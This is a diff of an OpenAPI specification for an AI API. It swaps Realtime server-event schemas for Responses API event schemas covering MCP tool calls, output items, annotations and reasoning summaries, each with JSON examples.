- "conversation_id": "conv_CCXHsurMKcaVxIZvaCI5m",
- "output_modalities": [
- "audio"
- ],
- "max_output_tokens": "inf",
- "audio": {
- "output": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "voice": "alloy"
- }
- },
- "usage": {
- "total_tokens": 253,
- "input_tokens": 132,
- "output_tokens": 121,
- "input_token_details": {
- "text_tokens": 119,
- "audio_tokens": 13,
- "image_tokens": 0,
- "cached_tokens": 64,
- "cached_tokens_details": {
- "text_tokens": 64,
- "audio_tokens": 0,
- "image_tokens": 0
+ "object": "list",
+ "data": [
+ {
+ "id": "msg_abc123",
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Tell me a three sentence bedtime story about a unicorn."
}
- },
- "output_token_details": {
- "text_tokens": 30,
- "audio_tokens": 91
- }
- },
- "metadata": null
- }
+ ]
+ }
+ ],
+ "first_id": "msg_abc123",
+ "last_id": "msg_abc123",
+ "has_more": false
}
- RealtimeServerEventResponseFunctionCallArgumentsDelta:
+ ResponseLogProb:
type: object
- description: |
- Returned when the model-generated function call arguments are updated.
+ description: "A logprob is the logarithmic probability that the model assigns to producing \na particular token at a given position in the sequence. Less-negative (higher) \nlogprob values indicate greater model confidence in that token choice.\n"
properties:
- event_id:
+ token:
+ description: A possible text token.
type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
+ logprob:
description: |
- The event type, must be `response.function_call_arguments.delta`.
- const: response.function_call_arguments.delta
- response_id:
- type: string
- description: The ID of the response.
- item_id:
+ The log probability of this token.
+ type: number
+ top_logprobs:
+ description: |
+ The log probabilities of up to 20 of the most likely tokens.
+ type: array
+ items:
+ type: object
+ properties:
+ token:
+ description: A possible text token.
+ type: string
+ logprob:
+ description: The log probability of this token.
+ type: number
+ required:
+ - token
+ - logprob
+ ResponseMCPCallArgumentsDeltaEvent:
+ type: object
+ title: ResponseMCPCallArgumentsDeltaEvent
+ description: |
+ Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ properties:
+ type:
type: string
- description: The ID of the function call item.
+ enum:
+ - response.mcp_call_arguments.delta
+ description: The type of the event. Always 'response.mcp_call_arguments.delta'.
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the response.
- call_id:
+ description: The index of the output item in the response's output array.
+ item_id:
type: string
- description: The ID of the function call.
+ description: The unique identifier of the MCP tool call item being processed.
delta:
type: string
- description: The arguments delta as a JSON string.
+ description: |
+ A JSON string containing the partial update to the arguments for the MCP tool call.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - call_id
+ - item_id
- delta
+ - sequence_number
x-oaiMeta:
- name: response.function_call_arguments.delta
- group: realtime
+ name: response.mcp_call_arguments.delta
+ group: responses
example: |
{
- "event_id": "event_5354",
- "type": "response.function_call_arguments.delta",
- "response_id": "resp_002",
- "item_id": "fc_001",
- "output_index": 0,
- "call_id": "call_001",
- "delta": "{\"location\": \"San\""
+ "type": "response.mcp_call_arguments.delta",
+ "output_index": 0,
+ "item_id": "item-abc",
+ "delta": "{",
+ "sequence_number": 1
}
- RealtimeServerEventResponseFunctionCallArgumentsDone:
+ ResponseMCPCallArgumentsDoneEvent:
type: object
+ title: ResponseMCPCallArgumentsDoneEvent
description: |
- Returned when the model-generated function call arguments are done streaming.
- Also emitted when a Response is interrupted, incomplete, or cancelled.
+ Emitted when the arguments for an MCP tool call are finalized.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: |
- The event type, must be `response.function_call_arguments.done`.
- const: response.function_call_arguments.done
- response_id:
- type: string
- description: The ID of the response.
- item_id:
type: string
- description: The ID of the function call item.
+ enum:
+ - response.mcp_call_arguments.done
+ description: The type of the event. Always 'response.mcp_call_arguments.done'.
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the response.
- call_id:
- type: string
- description: The ID of the function call.
- name:
+ description: The index of the output item in the response's output array.
+ item_id:
type: string
- description: The name of the function that was called.
+ description: The unique identifier of the MCP tool call item being processed.
arguments:
type: string
- description: The final arguments as a JSON string.
+ description: |
+ A JSON string containing the finalized arguments for the MCP tool call.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - call_id
- - name
+ - item_id
- arguments
+ - sequence_number
x-oaiMeta:
- name: response.function_call_arguments.done
- group: realtime
+ name: response.mcp_call_arguments.done
+ group: responses
example: |
{
- "event_id": "event_5556",
- "type": "response.function_call_arguments.done",
- "response_id": "resp_002",
- "item_id": "fc_001",
- "output_index": 0,
- "call_id": "call_001",
- "name": "get_weather",
- "arguments": "{\"location\": \"San Francisco\"}"
+ "type": "response.mcp_call_arguments.done",
+ "output_index": 0,
+ "item_id": "item-abc",
+ "arguments": "{\"arg1\": \"value1\", \"arg2\": \"value2\"}",
+ "sequence_number": 1
}
- RealtimeServerEventResponseMCPCallArgumentsDelta:
+ ResponseMCPCallCompletedEvent:
type: object
- description: Returned when MCP tool call arguments are updated during response generation.
+ title: ResponseMCPCallCompletedEvent
+ description: |
+ Emitted when an MCP tool call has completed successfully.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.mcp_call_arguments.delta`.
- const: response.mcp_call_arguments.delta
- response_id:
type: string
- description: The ID of the response.
+ enum:
+ - response.mcp_call.completed
+ description: The type of the event. Always 'response.mcp_call.completed'.
+ x-stainless-const: true
item_id:
type: string
- description: The ID of the MCP tool call item.
+ description: The ID of the MCP tool call item that completed.
output_index:
type: integer
- description: The index of the output item in the response.
- delta:
- type: string
- description: The JSON-encoded arguments delta.
- obfuscation:
- anyOf:
- - type: string
- description: If present, indicates the delta text was obfuscated.
- - type: 'null'
+ description: The index of the output item that completed.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - response_id
- item_id
- output_index
- - delta
+ - sequence_number
x-oaiMeta:
- name: response.mcp_call_arguments.delta
- group: realtime
+ name: response.mcp_call.completed
+ group: responses
example: |
{
- "event_id": "event_6201",
- "type": "response.mcp_call_arguments.delta",
- "response_id": "resp_001",
- "item_id": "mcp_call_001",
- "output_index": 0,
- "delta": "{\"partial\":true}"
+ "type": "response.mcp_call.completed",
+ "sequence_number": 1,
+ "item_id": "mcp_682d437d90a88191bf88cd03aae0c3e503937d5f622d7a90",
+ "output_index": 0
}
- RealtimeServerEventResponseMCPCallArgumentsDone:
+ ResponseMCPCallFailedEvent:
type: object
- description: Returned when MCP tool call arguments are finalized during response generation.
+ title: ResponseMCPCallFailedEvent
+ description: |
+ Emitted when an MCP tool call has failed.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.mcp_call_arguments.done`.
- const: response.mcp_call_arguments.done
- response_id:
type: string
- description: The ID of the response.
+ enum:
+ - response.mcp_call.failed
+ description: The type of the event. Always 'response.mcp_call.failed'.
+ x-stainless-const: true
item_id:
type: string
- description: The ID of the MCP tool call item.
+ description: The ID of the MCP tool call item that failed.
output_index:
type: integer
- description: The index of the output item in the response.
- arguments:
- type: string
- description: The final JSON-encoded arguments string.
+ description: The index of the output item that failed.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - response_id
- item_id
- output_index
- - arguments
+ - sequence_number
x-oaiMeta:
- name: response.mcp_call_arguments.done
- group: realtime
+ name: response.mcp_call.failed
+ group: responses
example: |
{
- "event_id": "event_6202",
- "type": "response.mcp_call_arguments.done",
- "response_id": "resp_001",
- "item_id": "mcp_call_001",
- "output_index": 0,
- "arguments": "{\"q\":\"docs\"}"
+ "type": "response.mcp_call.failed",
+ "sequence_number": 1,
+ "item_id": "mcp_682d437d90a88191bf88cd03aae0c3e503937d5f622d7a90",
+ "output_index": 0
}
- RealtimeServerEventResponseMCPCallCompleted:
+ ResponseMCPCallInProgressEvent:
type: object
- description: Returned when an MCP tool call has completed successfully.
+ title: ResponseMCPCallInProgressEvent
+ description: |
+ Emitted when an MCP tool call is in progress.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.mcp_call.in_progress
+ description: The type of the event. Always 'response.mcp_call.in_progress'.
x-stainless-const: true
- description: The event type, must be `response.mcp_call.completed`.
- const: response.mcp_call.completed
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
output_index:
type: integer
- description: The index of the output item in the response.
+ description: The index of the output item in the response's output array.
item_id:
type: string
- description: The ID of the MCP tool call item.
+ description: The unique identifier of the MCP tool call item being processed.
required:
- - event_id
- type
- output_index
- item_id
+ - sequence_number
x-oaiMeta:
- name: response.mcp_call.completed
- group: realtime
+ name: response.mcp_call.in_progress
+ group: responses
example: |
{
- "event_id": "event_6302",
- "type": "response.mcp_call.completed",
- "output_index": 0,
- "item_id": "mcp_call_001"
+ "type": "response.mcp_call.in_progress",
+ "sequence_number": 1,
+ "output_index": 0,
+ "item_id": "mcp_682d437d90a88191bf88cd03aae0c3e503937d5f622d7a90"
}
- RealtimeServerEventResponseMCPCallFailed:
+ ResponseMCPListToolsCompletedEvent:
type: object
- description: Returned when an MCP tool call has failed.
+ title: ResponseMCPListToolsCompletedEvent
+ description: |
+ Emitted when the list of available MCP tools has been successfully retrieved.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.mcp_list_tools.completed
+ description: The type of the event. Always 'response.mcp_list_tools.completed'.
x-stainless-const: true
- description: The event type, must be `response.mcp_call.failed`.
- const: response.mcp_call.failed
- output_index:
- type: integer
- description: The index of the output item in the response.
item_id:
type: string
- description: The ID of the MCP tool call item.
+ description: The ID of the MCP tool call item that produced this output.
+ output_index:
+ type: integer
+ description: The index of the output item that was processed.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - output_index
- item_id
+ - output_index
+ - sequence_number
x-oaiMeta:
- name: response.mcp_call.failed
- group: realtime
+ name: response.mcp_list_tools.completed
+ group: responses
example: |
{
- "event_id": "event_6303",
- "type": "response.mcp_call.failed",
- "output_index": 0,
- "item_id": "mcp_call_001"
+ "type": "response.mcp_list_tools.completed",
+ "sequence_number": 1,
+ "output_index": 0,
+ "item_id": "mcpl_682d4379df088191886b70f4ec39f90403937d5f622d7a90"
}
- RealtimeServerEventResponseMCPCallInProgress:
+ ResponseMCPListToolsFailedEvent:
type: object
- description: Returned when an MCP tool call has started and is in progress.
+ title: ResponseMCPListToolsFailedEvent
+ description: |
+ Emitted when the attempt to list available MCP tools has failed.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.mcp_list_tools.failed
+ description: The type of the event. Always 'response.mcp_list_tools.failed'.
x-stainless-const: true
- description: The event type, must be `response.mcp_call.in_progress`.
- const: response.mcp_call.in_progress
- output_index:
- type: integer
- description: The index of the output item in the response.
item_id:
type: string
- description: The ID of the MCP tool call item.
+ description: The ID of the MCP tool call item that failed.
+ output_index:
+ type: integer
+ description: The index of the output item that failed.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - output_index
- item_id
+ - output_index
+ - sequence_number
x-oaiMeta:
- name: response.mcp_call.in_progress
- group: realtime
+ name: response.mcp_list_tools.failed
+ group: responses
example: |
{
- "event_id": "event_6301",
- "type": "response.mcp_call.in_progress",
- "output_index": 0,
- "item_id": "mcp_call_001"
+ "type": "response.mcp_list_tools.failed",
+ "sequence_number": 1,
+ "output_index": 0,
+ "item_id": "mcpl_682d4379df088191886b70f4ec39f90403937d5f622d7a90"
}
- RealtimeServerEventResponseOutputItemAdded:
+ ResponseMCPListToolsInProgressEvent:
type: object
- description: Returned when a new Item is created during Response generation.
+ title: ResponseMCPListToolsInProgressEvent
+ description: |
+ Emitted when the system is in the process of retrieving the list of available MCP tools.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.mcp_list_tools.in_progress
+ description: The type of the event. Always 'response.mcp_list_tools.in_progress'.
x-stainless-const: true
- description: The event type, must be `response.output_item.added`.
- const: response.output_item.added
- response_id:
+ item_id:
type: string
- description: The ID of the Response to which the item belongs.
+ description: The ID of the MCP tool call item that is being processed.
output_index:
type: integer
- description: The index of the output item in the Response.
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
+ description: The index of the output item that is being processed.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - response_id
+ - item_id
- output_index
- - item
+ - sequence_number
x-oaiMeta:
- name: response.output_item.added
- group: realtime
+ name: response.mcp_list_tools.in_progress
+ group: responses
example: |
{
- "event_id": "event_3334",
- "type": "response.output_item.added",
- "response_id": "resp_001",
- "output_index": 0,
- "item": {
- "id": "msg_007",
- "object": "realtime.item",
- "type": "message",
- "status": "in_progress",
- "role": "assistant",
- "content": []
- }
+ "type": "response.mcp_list_tools.in_progress",
+ "sequence_number": 1,
+ "output_index": 0,
+ "item_id": "mcpl_682d4379df088191886b70f4ec39f90403937d5f622d7a90"
}
- RealtimeServerEventResponseOutputItemDone:
+ ResponseModalities:
+ anyOf:
+ - type: array
+ description: |
+ Output types that you would like the model to generate.
+ Most models are capable of generating text, which is the default:
+
+ `["text"]`
+
+ The `gpt-4o-audio-preview` model can also be used to
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To request that this model generate
+ both text and audio responses, you can use:
+
+ `["text", "audio"]`
+ items:
+ type: string
+ enum:
+ - text
+ - audio
+ - type: 'null'
+ ResponseOutputItemAddedEvent:
type: object
- description: "Returned when an Item is done streaming. Also emitted when a Response is \ninterrupted, incomplete, or cancelled.\n"
+ description: Emitted when a new output item is added.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.output_item.done`.
- const: response.output_item.done
- response_id:
type: string
- description: The ID of the Response to which the item belongs.
+ description: |
+ The type of the event. Always `response.output_item.added`.
+ enum:
+ - response.output_item.added
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the Response.
+ description: |
+ The index of the output item that was added.
+ sequence_number:
+ type: integer
+ description: |
+ The sequence number of this event.
item:
- $ref: '#/components/schemas/RealtimeConversationItem'
+ $ref: '#/components/schemas/OutputItem'
+ description: |
+ The output item that was added. For reasoning items, `encrypted_content`
+ may be incomplete while the item is in progress. Use the reasoning item
+ from the corresponding `response.output_item.done` event when passing it
+ as input to a subsequent request.
required:
- - event_id
- type
- - response_id
- output_index
- item
+ - sequence_number
x-oaiMeta:
- name: response.output_item.done
- group: realtime
+ name: response.output_item.added
+ group: responses
example: |
{
- "event_id": "event_3536",
- "type": "response.output_item.done",
- "response_id": "resp_001",
- "output_index": 0,
- "item": {
- "id": "msg_007",
- "object": "realtime.item",
- "type": "message",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "text",
- "text": "Sure, I can help with that."
- }
- ]
- }
+ "type": "response.output_item.added",
+ "output_index": 0,
+ "item": {
+ "id": "msg_123",
+ "status": "in_progress",
+ "type": "message",
+ "role": "assistant",
+ "content": []
+ },
+ "sequence_number": 1
}
- RealtimeServerEventResponseTextDelta:
+ ResponseOutputItemDoneEvent:
type: object
- description: Returned when the text value of an "output_text" content part is updated.
+ description: Emitted when an output item is marked done.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.output_text.delta`.
- const: response.output_text.delta
- response_id:
- type: string
- description: The ID of the response.
- item_id:
type: string
- description: The ID of the item.
+ description: |
+ The type of the event. Always `response.output_item.done`.
+ enum:
+ - response.output_item.done
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the response.
- content_index:
+ description: |
+ The index of the output item that was marked done.
+ sequence_number:
type: integer
- description: The index of the content part in the item's content array.
- delta:
- type: string
- description: The text delta.
+ description: |
+ The sequence number of this event.
+ item:
+ $ref: '#/components/schemas/OutputItem'
+ description: |
+ The output item that was marked done.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - content_index
- - delta
+ - item
+ - sequence_number
x-oaiMeta:
- name: response.output_text.delta
- group: realtime
+ name: response.output_item.done
+ group: responses
example: |
{
- "event_id": "event_4142",
- "type": "response.output_text.delta",
- "response_id": "resp_001",
- "item_id": "msg_007",
- "output_index": 0,
- "content_index": 0,
- "delta": "Sure, I can h"
+ "type": "response.output_item.done",
+ "output_index": 0,
+ "item": {
+ "id": "msg_123",
+ "status": "completed",
+ "type": "message",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "output_text",
+ "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
+ "annotations": []
+ }
+ ]
+ },
+ "sequence_number": 1
}
- RealtimeServerEventResponseTextDone:
+ ResponseOutputTextAnnotationAddedEvent:
type: object
+ title: ResponseOutputTextAnnotationAddedEvent
description: |
- Returned when the text value of an "output_text" content part is done streaming. Also
- emitted when a Response is interrupted, incomplete, or cancelled.
+ Emitted when an annotation is added to output text content.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.output_text.done`.
- const: response.output_text.done
- response_id:
type: string
- description: The ID of the response.
+ enum:
+ - response.output_text.annotation.added
+ description: The type of the event. Always 'response.output_text.annotation.added'.
+ x-stainless-const: true
item_id:
type: string
- description: The ID of the item.
+ description: The unique identifier of the item to which the annotation is being added.
output_index:
type: integer
- description: The index of the output item in the response.
+ description: The index of the output item in the response's output array.
content_index:
type: integer
- description: The index of the content part in the item's content array.
- text:
- type: string
- description: The final text content.
+ description: The index of the content part within the output item.
+ annotation_index:
+ type: integer
+ description: The index of the annotation within the content part.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
+ annotation:
+ anyOf:
+ - $ref: '#/components/schemas/Annotation'
+ - type: 'null'
+ description: The annotation object being added. (See annotation schema for details.)
required:
- - event_id
- type
- - response_id
- item_id
- output_index
- content_index
- - text
+ - annotation_index
+ - annotation
+ - sequence_number
x-oaiMeta:
- name: response.output_text.done
- group: realtime
+ name: response.output_text.annotation.added
+ group: responses
example: |
{
- "event_id": "event_4344",
- "type": "response.output_text.done",
- "response_id": "resp_001",
- "item_id": "msg_007",
- "output_index": 0,
- "content_index": 0,
- "text": "Sure, I can help with that."
+ "type": "response.output_text.annotation.added",
+ "item_id": "item-abc",
+ "output_index": 0,
+ "content_index": 0,
+ "annotation_index": 0,
+ "annotation": {
+ "type": "file_citation",
+ "file_id": "file-abc",
+ "index": 0,
+ "filename": "example.txt"
+ },
+ "sequence_number": 1
}
- RealtimeServerEventSessionCreated:
+ ResponsePromptVariables:
+ anyOf:
+ - type: object
+ title: Prompt Variables
+ description: |
+ Optional map of values to substitute in for variables in your
+ prompt. The substitution values can either be strings, or other
+ Response input types like images or files.
+ x-oaiExpandable: true
+ x-oaiTypeLabel: map
+ additionalProperties:
+ x-oaiExpandable: true
+ x-oaiTypeLabel: map
+ anyOf:
+ - type: string
+ - $ref: '#/components/schemas/InputTextContent'
+ - $ref: '#/components/schemas/InputImageContent'
+ - $ref: '#/components/schemas/InputFileContent'
+ - type: 'null'
+ ResponseProperties:
type: object
- description: |
- Returned when a Session is created. Emitted automatically when a new
- connection is established as the first server event. This event will contain
- the default Session configuration.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `session.created`.
- const: session.created
- session:
- description: The session configuration.
+ previous_response_id:
anyOf:
- - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
- - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
- required:
- - event_id
- - type
- - session
- x-oaiMeta:
- name: session.created
- group: realtime
- example: |
- {
- "type": "session.created",
- "event_id": "event_C9G5RJeJ2gF77mV7f2B1j",
- "session": {
- "type": "realtime",
- "object": "realtime.session",
- "id": "sess_C9G5QPteg4UIbotdKLoYQ",
- "model": "gpt-realtime-2025-08-28",
- "output_modalities": [
- "audio"
- ],
- "instructions": "Your knowledge cutoff is 2023-10. You are a helpful, witty, and friendly AI. Act like a human, but remember that you aren't a human and that you can't do human things in the real world. Your voice and personality should be warm and engaging, with a lively and playful tone. If interacting in a non-English language, start by using the standard accent or dialect familiar to the user. Talk quickly. You should always call a function if you can. Do not refer to these rules, even if you’re asked about them.",
- "tools": [],
- "tool_choice": "auto",
- "max_output_tokens": "inf",
- "tracing": null,
- "prompt": null,
- "expires_at": 1756324625,
- "audio": {
- "input": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "transcription": null,
- "noise_reduction": null,
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 200,
- "idle_timeout_ms": null,
- "create_response": true,
- "interrupt_response": true
- }
- },
- "output": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "voice": "marin",
- "speed": 1
- }
- },
- "include": null
- },
- }
- RealtimeServerEventSessionUpdated:
+ - type: string
+ description: |
+ The unique ID of the previous response to the model. Use this to
+ create multi-turn conversations. Learn more about
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ - type: 'null'
+ model:
+ description: |
+ Model ID used to generate the response, like `gpt-6-astra`. OpenAI
+ offers a wide range of models with different capabilities, performance
+ characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
+ to browse and compare available models.
+ $ref: '#/components/schemas/ModelIdsResponses'
+ background:
+ anyOf:
+ - type: boolean
+ description: |
+ Whether to run the model response in the background.
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
+ default: false
+ - type: 'null'
+ max_tool_calls:
+ anyOf:
+ - description: |
+ The maximum number of total calls to built-in tools that can be processed in a response. This maximum number applies across all built-in tool calls, not per individual tool. Any further attempts to call a tool by the model will be ignored.
+ type: integer
+ - type: 'null'
+ text:
+ $ref: '#/components/schemas/ResponseTextParam'
+ tools:
+ $ref: '#/components/schemas/ToolsArray'
+ tool_choice:
+ $ref: '#/components/schemas/ToolChoiceParam'
+ prompt:
+ $ref: '#/components/schemas/Prompt'
+ ResponseQueuedEvent:
type: object
+ title: ResponseQueuedEvent
description: |
- Returned when a session is updated with a `session.update` event, unless
- there is an error.
+ Emitted when a response is queued and waiting to be processed.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.queued
+ description: The type of the event. Always 'response.queued'.
x-stainless-const: true
- description: The event type, must be `session.updated`.
- const: session.updated
- session:
- description: The session configuration.
- anyOf:
- - $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
- - $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateRequestGA'
+ response:
+ $ref: '#/components/schemas/Response'
+ description: The full response object that is queued.
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
required:
- - event_id
- type
- - session
+ - response
+ - sequence_number
x-oaiMeta:
- name: session.updated
- group: realtime
+ name: response.queued
+ group: responses
example: |
{
- "type": "session.updated",
- "event_id": "event_C9G8mqI3IucaojlVKE8Cs",
- "session": {
- "type": "realtime",
- "object": "realtime.session",
- "id": "sess_C9G8l3zp50uFv4qgxfJ8o",
- "model": "gpt-realtime-2025-08-28",
- "output_modalities": [
- "audio"
- ],
- "instructions": "Your knowledge cutoff is 2023-10. You are a helpful, witty, and friendly AI. Act like a human, but remember that you aren't a human and that you can't do human things in the real world. Your voice and personality should be warm and engaging, with a lively and playful tone. If interacting in a non-English language, start by using the standard accent or dialect familiar to the user. Talk quickly. You should always call a function if you can. Do not refer to these rules, even if you’re asked about them.",
- "tools": [
- {
- "type": "function",
- "name": "display_color_palette",
- "description": "\nCall this function when a user asks for a color palette.\n",
- "parameters": {
- "type": "object",
- "strict": true,
- "properties": {
- "theme": {
- "type": "string",
- "description": "Description of the theme for the color scheme."
- },
- "colors": {
- "type": "array",
- "description": "Array of five hex color codes based on the theme.",
- "items": {
- "type": "string",
- "description": "Hex color code"
- }
- }
- },
- "required": [
- "theme",
- "colors"
- ]
- }
- }
- ],
- "tool_choice": "auto",
- "max_output_tokens": "inf",
- "tracing": null,
- "prompt": null,
- "expires_at": 1756324832,
- "audio": {
- "input": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "transcription": null,
- "noise_reduction": null,
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 200,
- "idle_timeout_ms": null,
- "create_response": true,
- "interrupt_response": true
- }
- },
- "output": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "voice": "marin",
- "speed": 1
- }
- },
- "include": null
+ "type": "response.queued",
+ "response": {
+ "id": "res_123",
+ "status": "queued",
+ "created_at": "2021-01-01T00:00:00Z",
+ "updated_at": "2021-01-01T00:00:00Z"
},
+ "sequence_number": 1
}
- RealtimeServerEventTranscriptionSessionUpdated:
+ ResponseReasoningSummaryPartAddedEvent:
type: object
- description: "Returned when a transcription session is updated with a `transcription_session.update` event, unless \nthere is an error.\n"
+ description: Emitted when a new reasoning summary part is added.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.reasoning_summary_part.added`.
+ enum:
+ - response.reasoning_summary_part.added
x-stainless-const: true
- description: The event type, must be `transcription_session.updated`.
- const: transcription_session.updated
- session:
- $ref: '#/components/schemas/RealtimeTranscriptionSessionCreateResponse'
+ item_id:
+ type: string
+ description: |
+ The ID of the item this summary part is associated with.
+ output_index:
+ type: integer
+ description: |
+ The index of the output item this summary part is associated with.
+ summary_index:
+ type: integer
+ description: |
+ The index of the summary part within the reasoning summary.
+ sequence_number:
+ type: integer
+ description: |
+ The sequence number of this event.
+ part:
+ type: object
+ description: |
+ The summary part that was added.
+ properties:
+ type:
+ type: string
+ description: The type of the summary part. Always `summary_text`.
+ enum:
+ - summary_text
+ x-stainless-const: true
+ text:
+ type: string
+ description: The text of the summary part.
+ required:
+ - type
+ - text
required:
- - event_id
- type
- - session
+ - item_id
+ - output_index
+ - summary_index
+ - part
+ - sequence_number
x-oaiMeta:
- name: transcription_session.updated
- group: realtime
+ name: response.reasoning_summary_part.added
+ group: responses
example: |
{
- "event_id": "event_5678",
- "type": "transcription_session.updated",
- "session": {
- "id": "sess_001",
- "object": "realtime.transcription_session",
- "input_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "gpt-4o-transcribe",
- "prompt": "",
- "language": ""
- },
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 500,
- "create_response": true,
- // "interrupt_response": false -- this will NOT be returned
- },
- "input_audio_noise_reduction": {
- "type": "near_field"
- },
- "include": [
- "item.input_audio_transcription.avg_logprob",
- ],
- }
+ "type": "response.reasoning_summary_part.added",
+ "item_id": "rs_6806bfca0b2481918a5748308061a2600d3ce51bdffd5476",
+ "output_index": 0,
+ "summary_index": 0,
+ "part": {
+ "type": "summary_text",
+ "text": ""
+ },
+ "sequence_number": 1
}
- RealtimeSession:
+ ResponseReasoningSummaryPartDoneEvent:
type: object
- description: Realtime session object for the beta interface.
+ description: Emitted when a reasoning summary part is completed.
properties:
- id:
+ type:
type: string
description: |
- Unique identifier for the session that looks like `sess_1234567890abcdef`.
- object:
- type: string
+ The type of the event. Always `response.reasoning_summary_part.done`.
enum:
- - realtime.session
- description: The object type. Always `realtime.session`.
- modalities:
- description: |
- The set of modalities the model can respond with. To disable audio,
- set this to ["text"].
- items:
- type: string
- enum:
- - text
- - audio
- model:
- description: |
- The Realtime model used for this session.
- anyOf:
- - type: string
- - type: string
- enum:
- - gpt-realtime
- - gpt-realtime-1.5
- - gpt-realtime-2025-08-28
- - gpt-4o-realtime-preview
- - gpt-4o-realtime-preview-2024-10-01
- - gpt-4o-realtime-preview-2024-12-17
- - gpt-4o-realtime-preview-2025-06-03
- - gpt-4o-mini-realtime-preview
- - gpt-4o-mini-realtime-preview-2024-12-17
- - gpt-realtime-mini
- - gpt-realtime-mini-2025-10-06
- - gpt-realtime-mini-2025-12-15
- - gpt-audio-1.5
- - gpt-audio-mini
- - gpt-audio-mini-2025-10-06
- - gpt-audio-mini-2025-12-15
- instructions:
+ - response.reasoning_summary_part.done
+ x-stainless-const: true
+ item_id:
type: string
description: |
- The default system instructions (i.e. system message) prepended to model
- calls. This field allows the client to guide the model on desired
- responses. The model can be instructed on response content and format,
- (e.g. "be extremely succinct", "act friendly", "here are examples of good
- responses") and on audio behavior (e.g. "talk quickly", "inject emotion
- into your voice", "laugh frequently"). The instructions are not
- guaranteed to be followed by the model, but they provide guidance to the
- model on the desired behavior.
-
-
- Note that the server sets default instructions which will be used if this
- field is not set and are visible in the `session.created` event at the
- start of the session.
- voice:
- $ref: '#/components/schemas/VoiceIdsShared'
+ The ID of the item this summary part is associated with.
+ output_index:
+ type: integer
description: |
- The voice the model uses to respond. Voice cannot be changed during the
- session once the model has responded with audio at least once. Current
- voice options are `alloy`, `ash`, `ballad`, `coral`, `echo`, `sage`,
- `shimmer`, and `verse`.
- input_audio_format:
- type: string
- default: pcm16
- enum:
- - pcm16
- - g711_ulaw
- - g711_alaw
+ The index of the output item this summary part is associated with.
+ summary_index:
+ type: integer
description: |
- The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- For `pcm16`, input audio must be 16-bit PCM at a 24kHz sample rate,
- single channel (mono), and little-endian byte order.
- output_audio_format:
+ The index of the summary part within the reasoning summary.
+ status:
type: string
- default: pcm16
+ description: |
